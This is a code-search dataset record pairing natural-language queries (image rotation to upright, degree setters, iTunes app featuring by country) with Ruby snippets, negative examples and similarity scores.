"def create\n @role = Role.new(role_params)\n\n # create a Array of action object from each line from table\n respond_to do |format|\n if @role.save\n @i = 0;\n @role.permissions = params[:role][:permission].values.map do |action_p|\n @p = Permission.new(action_p)\n if @p.new || @p.edit || @p.remove then @p.index = true end\n @p.session = @i\n @i = @i + 1\n @p\n end\n @role.save\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :created }\n else\n format.html { render :new }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show_actions(what)\n return \" \".html_safe unless current_user\n\n common_actions(what) +\n owner_actions(what) +\n scientific_committee_actions(what) +\n organizer_committee_actions(what)\n end",
"def actions\n %w[credit]\n end",
"def roles_with_permission\n shift.location.loc_group.roles\n end",
"def index\n @roles_privileges = RolesPrivilege.all\n end",
"def setup_role\n if self.role_ids.empty?\n self.role_ids = [2]\n end\n end"
] | [
"0.68636507",
"0.68636507",
"0.64600545",
"0.6405471",
"0.6205574",
"0.61972517",
"0.61972517",
"0.61972517",
"0.61966115",
"0.61343515",
"0.61289835",
"0.6113697",
"0.609196",
"0.60667604",
"0.60510135",
"0.60510135",
"0.6049785",
"0.60309315",
"0.59790367",
"0.59754115",
"0.59737533",
"0.5928315",
"0.5923642",
"0.5921819",
"0.5920345",
"0.5920345",
"0.589824",
"0.5890133",
"0.58884424",
"0.5881267",
"0.5863769",
"0.5855429",
"0.5839567",
"0.5832414",
"0.58297807",
"0.582289",
"0.5809586",
"0.580903",
"0.5796039",
"0.5795277",
"0.5788462",
"0.57841796",
"0.5769595",
"0.5763098",
"0.5743897",
"0.57287014",
"0.572623",
"0.5716897",
"0.5716854",
"0.5707465",
"0.5705107",
"0.5703139",
"0.56880057",
"0.5681513",
"0.56789356",
"0.56637913",
"0.56637913",
"0.56637913",
"0.5661894",
"0.56615025",
"0.5658117",
"0.5657758",
"0.5653728",
"0.56340885",
"0.56274813",
"0.56242913",
"0.5623734",
"0.5621951",
"0.5618553",
"0.5618493",
"0.56111056",
"0.5602414",
"0.5601319",
"0.5601319",
"0.5594677",
"0.5590155",
"0.55800533",
"0.557914",
"0.557615",
"0.5573849",
"0.5570216",
"0.5565441",
"0.55625236",
"0.55602187",
"0.5559419",
"0.5556849",
"0.5550099",
"0.5547096",
"0.553011",
"0.5523202",
"0.55212706",
"0.55194825",
"0.551398",
"0.55094814",
"0.55070823",
"0.55010235",
"0.5497418",
"0.54875594",
"0.5487278",
"0.5486569",
"0.548514"
] | 0.0 | -1 |
The number of rotational degrees required to display this image as upright | def required_rotation_for_upright_display
required_rotation_orientation_in_degrees = (360 - self.orientation) % 360
return required_rotation_orientation_in_degrees
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def min_angle\n 6 * self.min\n end",
"def max_tilt_angle; end",
"def orientation \n @position - @prev_position\n end",
"def degrees\n self * Math::PI / 180\n end",
"def anglecw\n 360 - angle\n end",
"def degrees\n self * Math::PI / 180.0\n end",
"def height\n a = self.orientation\n return 0.inch if not a\n a[0].z\nend",
"def rotate_180!\n pixels.reverse!\n self\n end",
"def angle\n @angle\n end",
"def zrotation\n end",
"def degrees\n\t\t@degrees ||= cardinal.keys.sort + [360.0]\n\tend",
"def angle_deg\n angle * RAD_TO_DEG\n end",
"def get_rotation\n return @rotation\n end",
"def calculate_orientation\n x, y = @components.values\n if x.pos? and y.zero?\n 0.deg\n elsif x.zero? and y.pos?\n 90.deg\n elsif x.neg? and y.zero?\n 180.deg\n elsif x.zero? and y.neg?\n 270.deg\n elsif x.pos? and y.pos?\n Math.atan( y/x ).rad # Will return an Angle object (with the property \"degrees\")\n elsif x.neg? and y.pos?\n angle = Math.atan( y/x.abs ).rad\n (180 - angle.deg).deg # Will return an Angle object (with the property \"degrees\")\n elsif x.neg? and y.neg?\n angle = Math.atan( y.abs/x.abs ).rad\n (180 + angle.deg).deg # Will return an Angle object (with the property \"degrees\")\n elsif x.pos? and y.neg?\n angle = Math.atan( y.abs/x ).rad\n (360 - angle.deg).deg\n end\n end",
"def rot270\n rot :d270\n end",
"def numberOfRotations(element)\n\nend",
"def degrees\n self\n end",
"def to_degs\n self * (180 / Math::PI)\n end",
"def rot180\n rot :d180\n end",
"def angle()\n a, c = @view__.angle, @context__\n c ? c.fromDegrees__(a) : a * Processing::GraphicsContext::DEG2RAD__\n end",
"def rotate\n @angle += Math::PI / 16\n @angle = @angle % (Math::PI * 2)\n end",
"def yaw\n to_euler[0]\n end",
"def to_degrees\n self / Math::PI.fdiv(180)\n end",
"def r90; self.rotation = 'fa-rotate-90'; self; end",
"def degree()\n return self.rep.length\n end",
"def rotations\n self.to_s.rotations.collect { |s| s.to_i }\n end",
"def orientation(img)\n (img.rows > img.columns) ? \"landscape\" : \"portrait\"\n end",
"def mirror_angle_vertically!\n @angle = (180 - @angle) % 360\n end",
"def calc_angle(hours, minutes)\n angel = (minutes * 6 - (hours * 60 + minutes) * 0.5).abs\n if angel > 180\n 360 - angel.abs\n else\n angel.abs\n end\nend",
"def azimuth; end",
"def right\r\n @angle += ROTATION_ANGLE\r\n end",
"def rotate_image(image)\n\nend",
"def radians\n self * 180 / Math::PI\n end",
"def ordinal_azimuth; end",
"def mirror_angle_horizontally!\n @angle = (-@angle) % 360\n end",
"def scale_degrees\n \n end",
"def start_angle\n end",
"def g2r(n)\n\tn*(Math::PI/180)\nend",
"def rad2deg\n self * (180/Math::PI)\n end",
"def inertia\n 150\n end",
"def cardinal_azimuth; end",
"def normalize_heading(angle)\n \t return angle % (2 * Math::PI)\n \tend",
"def rotational_period\n return 2.0 * Math::PI / self.angular_velocity\n end",
"def top\n 3 * Math::PI / 2.0\n end",
"def rotate angle\n position = \"#{@placement[:s]}x#{@placement[:s]}+#{@placement[:x]}+#{@placement[:y]}\"\n @image.run_command(\"convert\", @image.path, \"-rotate #{360 - angle}\", @image.path)\n @image.run_command(\"convert\", @image.path, \"-gravity Center -crop #{position}\", @image.path)\n end",
"def angle\n rad / Math::PI * 180\n end",
"def degree; end",
"def cur_angle\n MSPhysics::Newton::Hinge.get_cur_angle(@address)\n end",
"def rotated_90_cw\n dst = Image.new(width: height, height: width, bpp: bpp)\n each_pixel do |c,x,y|\n dst[y,width-x-1] = c\n end\n dst\n end",
"def deskew_angle(img)\n temp = Tempfile.new 'split-subjects-vertically'\n sample = img.clone\n # inset crop 10% from borders:\n sample_inset = 0.10\n sample.crop! img.columns * sample_inset, img.rows * sample_inset, img.columns - (img.columns * 2 * sample_inset), img.rows - (img.rows * 2 * sample_inset)\n sample.write temp.path\n sample.write \"temp.sample.jpg\"\n angle = `convert #{temp.path} -deskew 40 -format '%[deskew:angle]' info:`.to_f\n # If angle is greater than this, it's probably an error\n angle.abs >= 2 ? 0 : angle\nend",
"def rot90\n rot :d90\n end",
"def degree\n self.in_degree + self.out_degree\n end",
"def gradians\n self * Math::PI / 200.0\n end",
"def by_mod\n l = self\n if (l > Math::PI)\n while (l > Math::PI)\n l = l - 2*Math::PI\n end\n else\n while (l < -Math::PI)\n l = l + 2*Math::PI\n end\n end\n l\n end",
"def deg2rad(deg) \r\nreturn (deg * $pi / 180);\r\nend",
"def rt_ascen\n radian_to_degree(bigdecimal_atan2(bigdecimal_cos(degree_to_radian(obliquity)) * bigdecimal_sin(degree_to_radian(ec_lon)), bigdecimal_cos(degree_to_radian(ec_lon))))\n end",
"def hand_angle(h, m)\n minute_degrees = m * 6\n hour_degrees = (30 * h) + (0.5 * m)\n degrees = (hour_degrees - minute_degrees).abs\n degrees > 180 ? 360 - degrees : degrees\nend",
"def to_rad\n self * Math::PI / 180\n end",
"def rotate(degrees)\n rsp = @flickr.send_request('flickr.photos.transform.rotate', {:photo_id => self.id, :degrees => degrees}, :post)\n true\n end",
"def _updateAngle\n\t\t\t\t@angle = (@maxAngle*@idxAngle) - Math::PIH\n\t\t\tend",
"def yaw\n @grpc.pan_angle\n end",
"def compass_direction\n angle = Sketchup.active_model.shadow_info[\"NorthAngle\"].degrees\n rotation = Geom::Transformation.rotation(ORIGIN, Z_AXIS, -angle)\n\n Y_AXIS.transform(rotation)\n end",
"def pitch\n @grpc.tilt_angle\n end",
"def to_radians\n self * Math::PI.fdiv(180)\n end",
"def roll \n\t\t\t# tan(roll) = 2(wx + yz) / (w^2 - x^2 - y^2 + z^2)\n\t\t\tx = @elem[X]; y = @elem[Y]; z = @elem[Z]; w = @elem[W]\n\t\t\treturn Math::atan( (2 * (w * x + y * z)) / (w**2 - x**2 - y**2 + z**2) )\n\t\tend",
"def orient_if_sure(px, py, rx, ry, qx, qy)\n l = (ry - py) * (qx - px)\n r = (rx - px) * (qy - py)\n ((l - r).abs >= (3.3306690738754716e-16 * (l + r).abs)) ? l - r : 0\n end",
"def deg2rad\n self * (Math::PI/180)\n end",
"def rotate!\n @num_rotations = (@num_rotations+1) % NUM_SIDES\n end",
"def rotated\n RawImage.new(@image.getRotated())\n end",
"def auto_orient\n manipulate! do |image|\n o = image.get('exif-Orientation').to_i rescue nil\n o ||= image.get('exif-ifd0-Orientation').to_i rescue 1\n case o\n when 1\n # Do nothing, everything is peachy\n when 6\n image.rot270\n when 8\n image.rot180\n when 3\n image.rot90\n else\n raise('Invalid value for Orientation: ' + o.to_s)\n end\n image.set('exif-Orientation', '')\n image.set('exif-ifd0-Orientation', '')\n end\n end",
"def radians(deg)\n deg * Math::PI / 180\n end",
"def rotate!(n = 1)\n @angle = (@angle + n) % ORIENTATIONS.count\n end",
"def height\n ['N', 'S'].include?(@orientation) ? @height : @width\n end",
"def degToC(degF)\n (degF-32)*5/9\nend",
"def to_s\n \"#{@degrees.round(2)} #{@scale}\"\n end",
"def tilt\n a = self.orientation\n return 0 if not a\n \n # The direction is the second value in the array\n dir = a[1]\n \n # Compute the angle betwen the direction and [0,0,1] and subtract 90 degrees\n angle = dir.angle_between(Z_AXIS) - Math::PI/2.0\n -angle\nend",
"def rotate_back\n @falling_piece.current_rotation = (@falling_piece.current_rotation - 1) % @falling_piece.blocks.length\n end",
"def rotate( deg )\n set_base_image( base_image.rotate( deg ) )\n end",
"def heading(ago=0)\n Math.atan2(x(ago) - x(ago + 1), y(ago) - y(ago + 1))\n end",
"def compass_dir(deg)\n case deg\n when 0..45\n :uarr\n when 46..90\n :nearr\n when 91..135\n :rarr\n when 136..180\n :searr\n when 181..225\n :darr\n when 226..270\n :swarr\n when 271..315\n :larr\n when 316..360\n :nwarr\n end\n end",
"def angle(path)\n io_for(path).angle\n end",
"def sum_of_interior_angles\n 180 * (@number_of_sides - 2)\n end",
"def turn_right\n @orientation == 3 ? @orientation = 0 : @orientation += 1\n end",
"def angle\r\n self.data.map(&:angle)\r\n end",
"def auto_orient\n manipulate! do |image|\n o = image.get('exif-Orientation').to_i rescue nil\n o ||= image.get('exif-ifd0-Orientation').to_i rescue 1\n case o\n when 1\n # Do nothing, everything is peachy\n when 6\n image.rot270\n when 8\n image.rot180\n when 3\n image.rot90\n else\n raise('Invalid value for Orientation: ' + o.to_s)\n end\n image.set_type GObject::GSTR_TYPE, 'exif-Orientation', ''\n image.set_type GObject::GSTR_TYPE, 'exif-ifd0-Orientation', ''\n end\n end",
"def turn_right\n @angle += ROTATION_SPEED\n end",
"def generic_rotate90(image)\n # Rotates a square image 90 degrees clockwise.\n d = image.length\n new_image = d.times.map { \"x\"*d }\n (0...d).each do |r|\n (0...d).each do |c|\n new_image[c][d-1-r] = image[r][c]\n end\n end\n new_image\nend",
"def convDegRad(value)\n unless value.nil? or value == 0\n value = (value/180) * Math::PI\n end\n return value\n end",
"def deg2deg(deg)\r\n remt(deg, 360)\r\n end",
"def polar\n theta = 0.0\n if Point.close_to(self.x, 0)\n if self.y > 0\n theta = 90.0\n elsif self.y < 0\n theta = 270.0\n end\n else\n theta = Point.rad2deg(Math.atan(self.y/self.x))\n if self.x < 0.0\n theta += 180.0\n end\n if theta < 0.0\n theta += 360.0\n end\n end\n theta\n end",
"def radian_angle\n @angle * Math::PI / 180.0\n end",
"def orientation\n if landscape?\n :landscape\n elsif portrait?\n :portrait\n else\n :square\n end\n end",
"def calc_inches_per_degree(radius)\r\n if (radius == 0)\r\n return 0\r\n else\r\n return calc_circumference(radius) / 360.0\r\n end\r\nend",
"def deg_to_rad(deg)\n return (2 * Math::PI) * deg / 360\n end",
"def left\r\n @angle -= ROTATION_ANGLE\r\n end",
"def checkrotation(filepath)\n\t# rotate if needed - normally these are 300 wide by 419 high\n\timg = Magick::Image.read(filepath).first\n\n\tif(img.columns > img.rows) # too wide so rotate left\n\t\timg.rotate!(-90)\n\t\timg.write(filepath)\n\tend\t\nend",
"def orientation\n return nil if not @rep\n\n # get the transformation from the group or component instance\n t = @rep.transformation\n eye = t.origin\n dir = t.xaxis\n up = t.zaxis\n y = t.yaxis\n\n # See if there is an offset that needs to be applied to the eye position\n eo = self.get_offset\n if( eo )\n offset = Geom::Vector3d.linear_combination eo.x, dir, eo.y, y, eo.z, up\n eye.offset!(offset)\n end\n\n [eye, dir, up]\nend",
"def rotate_right!\n @picture.rotate_right!\n end",
"def cur_angle\n MSPhysics::Newton::Corkscrew.get_cur_angle(@address)\n end",
"def conv_deg_rad(value)\n (value/180) * Math::PI unless value.nil? or value == 0\nend"
] | [
"0.6687296",
"0.6622544",
"0.65924317",
"0.65175134",
"0.6424557",
"0.6412511",
"0.63951766",
"0.6316775",
"0.6288307",
"0.6240502",
"0.6186721",
"0.6171652",
"0.6130817",
"0.6097932",
"0.603196",
"0.60202736",
"0.6016953",
"0.6011782",
"0.59828997",
"0.5945087",
"0.59216946",
"0.59203696",
"0.59132224",
"0.59063387",
"0.5900199",
"0.5897909",
"0.5893046",
"0.58627445",
"0.5847886",
"0.5845429",
"0.583912",
"0.58310294",
"0.5827594",
"0.5814966",
"0.57596654",
"0.5741647",
"0.5739473",
"0.5721723",
"0.57132804",
"0.5708595",
"0.5707924",
"0.5680648",
"0.56547755",
"0.56458986",
"0.5632283",
"0.56290585",
"0.5627419",
"0.5620085",
"0.56067985",
"0.5604177",
"0.55973274",
"0.5586465",
"0.5582022",
"0.55805093",
"0.5578935",
"0.5576788",
"0.55765605",
"0.5571153",
"0.5557253",
"0.55469644",
"0.55455303",
"0.5527182",
"0.55246",
"0.5511571",
"0.5475925",
"0.54752743",
"0.5465893",
"0.54571617",
"0.54563814",
"0.5453424",
"0.5446092",
"0.5436548",
"0.5433045",
"0.54294986",
"0.541743",
"0.5414438",
"0.5409122",
"0.5403361",
"0.5398594",
"0.5397415",
"0.5387469",
"0.5375596",
"0.5373991",
"0.5367446",
"0.53654295",
"0.5363619",
"0.5360155",
"0.53592026",
"0.53468835",
"0.53383404",
"0.5323708",
"0.5320778",
"0.53158283",
"0.53116703",
"0.53108597",
"0.5309835",
"0.53088546",
"0.53047156",
"0.5295735",
"0.5282087"
] | 0.78179806 | 0 |
Allowed degrees arg values: 0, 90, 180, 270 | def orientation=(degrees)
degrees = degrees % 360
raise "Invalid value for degrees. Must be a right angle (0, 90, 180, etc.)" unless (degrees % 90 == 0)
self.clear_relationship(:orientation)
self.add_relationship(:orientation, DEGREES_TO_EXIF_ORIENTATIONS[degrees], true)
return degrees # Hide RDF backing structure and make this look like a simple setter method
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def degrees\n self * Math::PI / 180\n end",
"def degrees\n self * Math::PI / 180.0\n end",
"def degrees\n\t\t@degrees ||= cardinal.keys.sort + [360.0]\n\tend",
"def angle_deg\n angle * RAD_TO_DEG\n end",
"def convert_to_radians(degrees)\n degrees * PI / 180\nend",
"def deg2deg(deg)\r\n remt(deg, 360)\r\n end",
"def to_degrees\n self / Math::PI.fdiv(180)\n end",
"def radians(deg)\n deg * Math::PI / 180\n end",
"def degreesToRadians(deg)\n\treturn deg * (Math::PI/180)\nend",
"def degrees_to_radians(degrees)\n degrees * DEG_TO_RAD\n end",
"def to_degrees(radians)\n (radians * 180.0) / Math::PI\n end",
"def toRadians(degree)\n return degree*Math::PI/180\nend",
"def degrees\n self\n end",
"def to_radians(degrees)\n degrees * (Math::PI / 180)\n end",
"def rotate(matrix, degrees)\n case degrees\n when 90\n rotate90(matrix)\n when 180\n rotate90(rotate90(matrix))\n when 270\n rotate90(rotate90(rotate90(matrix)))\n when 360\n rotate90(rotate90(rotate90(rotate90(matrix))))\n else\n p \"You passed #{degrees}, I can only handle 90, 180, 270 and 360\"\n end\nend",
"def to_radians(deg)\n deg * Math::PI / 180\n end",
"def rotateToDegree(degree)\n preDegree = getActualAngle\n adjustment = degree - preDegree\n rotateByDegree(adjustment)\n \n dir = getCurrentDirection\n if(@@roomView)\n @@rotationArray.unshift(dir) \n end\n\n if(@@eyeView) \n @@rotateAngle = adjustment\n @@view.animation = Avatar.new\n @@rotateAngle = 0\n end\n end",
"def rad2deg\n self * (180/Math::PI)\n end",
"def rotate_around!(degrees, origin=Point.empty)\n result = rotate_around(degrees, origin)\n @x = result.x\n @y = result.y\n return result\n end",
"def deg _args\n \"deg _args;\" \n end",
"def compass_dir(deg)\n case deg\n when 0..45\n :uarr\n when 46..90\n :nearr\n when 91..135\n :rarr\n when 136..180\n :searr\n when 181..225\n :darr\n when 226..270\n :swarr\n when 271..315\n :larr\n when 316..360\n :nwarr\n end\n end",
"def degree; end",
"def deg2rad(deg) \r\nreturn (deg * $pi / 180);\r\nend",
"def to_degrees(mod = false)\n return self.to_f.to_degrees(mod)\n end",
"def rotate_around(degrees, origin=Point.empty)\n return self.to_point.rotate_around(degrees, origin)\n end",
"def scale_degrees\n \n end",
"def heading=(degrees)\n raise ArgumentError unless degrees.is_a?(Numeric)\n @heading = degrees % 360\n end",
"def right(degrees)\n raise ArgumentError unless degrees.is_a?(Numeric)\n @heading += degrees\n @heading %= 360\n end",
"def convertFahrToCelsius(degrees) \n degrees = (degrees.to_f - 32) * 5 / 9 \nend",
"def radians(deg)\n deg * DEG_TO_RAD\n end",
"def rotate_deg!( angle_deg )\n self.angle_deg += angle_deg\n self\n end",
"def convDegRad(value)\n unless value.nil? or value == 0\n value = (value/180) * Math::PI\n end\n return value\n end",
"def heading=(degrees)\n must_be_number(degrees, 'heading')\n @heading = degrees.to_f\n case\n when @heading >= 360.0\n @heading -= 360.0 while @heading >= 360.0\n when @heading < 0.0\n @heading += 360.0 while @heading < 0.0\n end\n @heading\n end",
"def rotate_around!(degrees, origin=Point.empty)\n result = self.to_point.rotate_around(degrees, origin)\n self.x = result.x\n self.y = result.y\n return result\n end",
"def deg2rad(deg)\n deg*Math::PI/180\n end",
"def Degrees(arg0)\n ret = _invoke(1610743974, [arg0], [VT_R8])\n @lastargs = WIN32OLE::ARGV\n ret\n end",
"def rotate_deg( angle_deg )\n dup.rotate_deg!( angle_deg )\n end",
"def convert(degrees_F = 73)\r\n (degrees_F - 32) * 5 / 9.0\r\nend",
"def convert_input(any_value_float)\n n, degrees_remaining = any_value_float.divmod(360)\n if degrees_remaining >= 0\n degrees_remaining\n elsif\n degrees_remaining < 0\n degrees_remaining + 360\n end\nend",
"def angle_deg=( angle_deg )\n self.angle = angle_deg * DEG_TO_RAD\n self\n end",
"def left(degrees)\n right(-degrees)\n end",
"def angle_deg_with( vector )\n angle_with(vector) * RAD_TO_DEG\n end",
"def convDegRad(value)\n unless value.nil? or value == 0\n value = (value/180) * Math::PI\n end\n return value\n end",
"def rotate(degrees)\n rsp = @flickr.send_request('flickr.photos.transform.rotate', {:photo_id => self.id, :degrees => degrees}, :post)\n true\n end",
"def conv_deg_rad(value)\n (value/180) * Math::PI unless value.nil? or value == 0\nend",
"def conv_deg_rad(value)\n (value/180) * Math::PI unless value.nil? or value == 0\nend",
"def rotate_around(degrees, origin=Point.empty)\n radians = degrees * Math::PI / 180\n x2 = x - origin.x\n y2 = y - origin.y\n\n cos = Math.cos(radians)\n sin = Math.sin(radians)\n\n return Point.new(\n x2*cos - y2*sin + origin.x,\n x2*sin + y2*cos + origin.y\n )\n end",
"def normalize_lat deg\n case deg \n when -360..-270\n deg % 90 \n when -270..-180\n 90 - (deg % 90)\n when -180..-90\n - (deg % 90)\n when -90..0 \n -90 + (deg % 90) \n when 0..90\n deg\n when 90..180 \n deg % 90\n when 180..270 \n - (deg % 90)\n when 270..360 \n - 90 + (deg % 90)\n else\n raise ArgumentError, \"Degrees #{deg} out of range, must be between -360 to 360\" \n end \n end",
"def convert_and_normalize_degrees(angle)\n @degrees = normalize_angle(angle, 360)\n @radians = deg_to_rad(@degrees)\n end",
"def left(degrees)\n right(-degrees)\n end",
"def to_degs\n self * (180 / Math::PI)\n end",
"def convertToRadians(val)\n return val * PIx / 180\n end",
"def convertToRadians(val)\n return val * PIx / 180\n end",
"def rot90\n rot :d90\n end",
"def rotateByDegree(angle)\n return unless defined? angle\n currentPosition = getCurrentPosition\n z_vector = [0, 0, 1]\n\n rotationTransformation = Geom::Transformation.rotation(currentPosition, z_vector, angle.degrees)\n @@componentInstance.transform! (rotationTransformation)\n\n # Need to update the most recent transformation!!!\n # Without updating, the rotation will be changed to the initial status when move the model.\n updateAvatarLocation\n updateTransformation\n updateViewPort\n\n end",
"def latitude_degrees\n field_value @latitude_degrees, latitude, lambda { latitude.abs.to_i }, 2, false\n end",
"def degreToRadian( degree )\n return degree * RADIAN_TO_DEGREE\n end",
"def right(degrees)\n must_be_number(degrees, 'turn')\n self.heading = heading + degrees.to_f\n end",
"def rot180\n rot :d180\n end",
"def degrees_to_radians degrees\n # The :: operator is much like the scope\n # resolution operator in C++\n degrees * Math::PI / 180.0\nend",
"def angle()\n a, c = @view__.angle, @context__\n c ? c.fromDegrees__(a) : a * Processing::GraphicsContext::DEG2RAD__\n end",
"def rad_to_deg(rad)\n return 360 * rad / (2 * Math::PI)\n end",
"def calc_angle(hours, minutes)\n angel = (minutes * 6 - (hours * 60 + minutes) * 0.5).abs\n if angel > 180\n 360 - angel.abs\n else\n angel.abs\n end\nend",
"def convert_direction(degrees)\n\t\tdirection = \"\"\n\t\tcase degrees\n\t\t\twhen 0..22\n\t\t\t\tdirection = \"N\"\n\t\t\twhen 23..67\n\t\t\t\tdirection = \"NE\"\n\t\t\twhen 68..112\n\t\t\t\tdirection = \"E\"\n\t\t\twhen 113..157\t\t\n\t\t\t\tdirection = \"SE\"\n\t\t\twhen 158..202\n\t\t\t\tdirection = \"S\"\n\t\t\twhen 203..247\n\t\t\t\tdirection = \"SW\"\n\t\t\twhen 248..292\n\t\t\t\tdirection = \"W\"\n\t\t\twhen 293..337\n\t\t\t\tdirection = \"NW\"\t\t\t\n\t\t\twhen 338..360\n\t\t\t\tdirection = \"N\"\n\t\t\telse \n\t\t\t\tdirection = \"\"\t\t\n\t\tend\t\t\n\tend",
"def radians\n self * 180 / Math::PI\n end",
"def gradians\n self * Math::PI / 200.0\n end",
"def turnright(degrees: 90)\n send_command 0x74, ((degrees %360) / 5) & 0xFF, 10\n sleep 0.5\n end",
"def deg_to_rads(deg)\n deg * Math::PI / 180.0\n end",
"def initialize(angle = 0, radians = false)\n # assumes that we are getting an angle in degrees.\n @angle = if radians == true || radians == :radians\n angle.to_f # works for String, Fixed, other Angles and for Float.\n elsif angle.instance_of?(Array)\n self.class.decimal_deg(*angle).to_radians\n else\n angle.to_radians # we have a String and Numeric class version of this. Another Angle will work too.\n end\n end",
"def degrees()\n return MicrosoftGraph::Drives::Item::Items::Item::Workbook::Functions::Degrees::DegreesRequestBuilder.new(@path_parameters, @request_adapter)\n end",
"def right(degrees)\n turn(-degrees)\n end",
"def rotate(deg=0)\n CGContextRotateCTM(@ctx, radians(-deg));\n end",
"def degToC(degF)\n (degF-32)*5/9\nend",
"def left(degrees)\n turn(degrees)\n end",
"def tilt! (degrees)\n @transforms << \"PT#{degrees}\"\n self\n end",
"def rotate(angle, around_x=0, around_y=0, &rendering_code); end",
"def degree(v) in_degree(v); end",
"def hand_angle(h, m)\n minute_degrees = m * 6\n hour_degrees = (30 * h) + (0.5 * m)\n degrees = (hour_degrees - minute_degrees).abs\n degrees > 180 ? 360 - degrees : degrees\nend",
"def angle\n rad / Math::PI * 180\n end",
"def deg_to_rad(deg)\n return (2 * Math::PI) * deg / 360\n end",
"def rotate!(radians)\n sin = Math.sin radians\n cos = Math.cos radians\n prev_x = @x\n @x = cos * @x - sin * @y\n @y = sin * prev_x + cos * @y\n end",
"def degree\n self.in_degree + self.out_degree\n end",
"def format_angle(value, unit)\n if unit == :degree\n value + '°'\n else\n value + ' gon'\n end\n end",
"def turnleft(degrees: 90)\n send_command 0x73, ((degrees %360) / 5) & 0xFF, 10\n sleep 0.5\n end",
"def radians\n Science::Angle.new(self, :radians)\n end",
"def theta_deg\n theta_rad / DEG2RAD\n end",
"def f(unit)\n x = (unit / ::Math.cos(angle_radians)).abs\n y = (unit / ::Math.sin(angle_radians)).abs\n\n operator =\n if (@angle % 360).zero? || (@angle % 270).zero?\n :+\n else\n :-\n end\n\n @x = @x.send(operator, x) if !x.infinite? && x.abs <= unit\n @y = @y.send(operator, y) if !y.infinite? && y.abs <= unit\n end",
"def rotate(angle)\n case angle % 360\n when 0 then dup\n when 90 then rotate_cw\n when 180 then rotate_flip\n when 270 then rotate_ccw\n else\n raise RuntimeError, \"unsupported rotation angle #{angle}\"\n end\n end",
"def rotate(matrix, degrees)\n rotations = degrees / 90 % 4\n return matrix if rotations == 0\n new_matrix = rotate90(matrix)\n count = 1\n while count < rotations\n new_matrix = rotate90(new_matrix)\n count += 1\n end\n new_matrix\nend",
"def dms(degrees)\n originally_negative = false\n if degrees < 0 \n degrees = degrees.abs\n originally_negative = true\n end\n \n total_seconds = (degrees * SECONDS_IN_DEGREE).round # takes the degrees passed in and multiplies by 3600 to return the seconds, round with no arg rounds to 0 decimal numbers\n degrees_dms , seconds_remaining = total_seconds.divmod(SECONDS_IN_DEGREE) #divmod is used to calculate degrees using total amount of seconds, divmod also returns remainder\n # which is assigned to second remaining var.\n minutes, seconds = seconds_remaining.divmod(SECONDS_IN_MINUTE) # calculating the minutes now using the left over seconds from above ^^ \n \n if originally_negative == true\n format(%(-#{degrees_dms}#{DEGREE_SYMBOL}%02d'%02d\"),minutes,seconds)\n else\n format(%(#{degrees_dms}#{DEGREE_SYMBOL}%02d'%02d\"),minutes,seconds)\n end\n \nend",
"def r90; self.rotation = 'fa-rotate-90'; self; end",
"def rad2deg(rad, wrap = true)\r\n deg = RD * rad\r\n deg = deg2deg(deg) if wrap\r\n deg\r\n end",
"def other_angle(a, b)\n 180 - (a + b)\nend",
"def rotate\n @angle += Math::PI / 16\n @angle = @angle % (Math::PI * 2)\n end",
"def upper( degrees)\r\n newDegrees = self.myDegrees + degrees\r\n checkIfValid(newDegrees, self.myScale)\r\n self.myDegrees = newDegrees\r\n end",
"def other_angle(a, b)\n 180 - (a + b)\nend",
"def to_f(unit = :radians)\n case unit\n when :degrees, :deg then @degrees\n when :radians, :rad then @radians\n else\n raise InvalidArgumentsError, \"Unit should be :degrees, :deg, :radians ord :rad.\"\n end\n end",
"def to_radians\n self * Math::PI.fdiv(180)\n end",
"def rotater(grados)\n if grados < 0\n self.rotatel(grados.abs)\n else\n suma = @grados - grados\n if suma >= 360\n grados_aux = suma%360\t\n else\n \tgrados_aux = suma\n end\n if grados_aux < 0\n \t\t@grados = 360 + grados_aux\n \telse\n \t\t@grados = grados_aux\n \tend\n end\n end",
"def rotate(direction)\n @direction = Compass.new.get_direction(@direction).resolve(direction)\n end"
] | [
"0.7549207",
"0.7465218",
"0.7446889",
"0.7429923",
"0.7275836",
"0.7241338",
"0.7214998",
"0.7178858",
"0.71258056",
"0.71189755",
"0.7118153",
"0.7056974",
"0.7015916",
"0.6925798",
"0.6879587",
"0.68576306",
"0.6838242",
"0.68314844",
"0.68309325",
"0.6771606",
"0.67659044",
"0.6765632",
"0.67602503",
"0.67523414",
"0.6752094",
"0.67512983",
"0.67315257",
"0.6718809",
"0.67034703",
"0.6648456",
"0.6626639",
"0.6571442",
"0.6554899",
"0.6554434",
"0.6552875",
"0.6547704",
"0.65343696",
"0.6502064",
"0.6501661",
"0.6486106",
"0.64820284",
"0.6478899",
"0.6475851",
"0.6470551",
"0.6452564",
"0.6452564",
"0.64329296",
"0.6429681",
"0.63610643",
"0.6347836",
"0.6317248",
"0.6309567",
"0.6309567",
"0.630297",
"0.6300479",
"0.6294978",
"0.626902",
"0.62650174",
"0.62628984",
"0.62498415",
"0.62405354",
"0.62317526",
"0.6224289",
"0.61815804",
"0.6162812",
"0.6156525",
"0.6152304",
"0.6148259",
"0.6141492",
"0.61378366",
"0.61377895",
"0.6129931",
"0.61225665",
"0.6113226",
"0.6097749",
"0.6074263",
"0.6067142",
"0.60540384",
"0.6050948",
"0.6022419",
"0.60039896",
"0.5997208",
"0.5997001",
"0.5993149",
"0.59813833",
"0.5977329",
"0.5969699",
"0.5968407",
"0.59640247",
"0.5958521",
"0.5956263",
"0.5955736",
"0.5953239",
"0.5951319",
"0.5941813",
"0.59369504",
"0.59342283",
"0.5928681",
"0.59232265",
"0.59160256"
] | 0.643628 | 46 |
Returns a hash of itunes_app_id => array of features. country_name:: Name of the country to collect featuring for. | def crawl(country_name)
http = Net::HTTP.new("itunes.apple.com", 80)
headers = ITUNES_UA_HEADERS.merge("X-Apple-Store-Front" => COUNTRY_TO_STORE_FRONTS[ country_name ])
body = http.get(ITUNES_STORE_FRONT_URL, headers).body
base_store_url = CGI.unescapeHTML(body.match(/\<string\>(http\:\/\/[^\<]+)\<\/string\>/m)[1])
urls = [ base_store_url + ITUNES_IPAD_URL_SUFFIX, base_store_url + ITUNES_IPHONE_URL_SUFFIX ]
crawled_urls = {}
result = {}
# while we have the URLs to crawl on stack
while urls.present?
# pop an URL
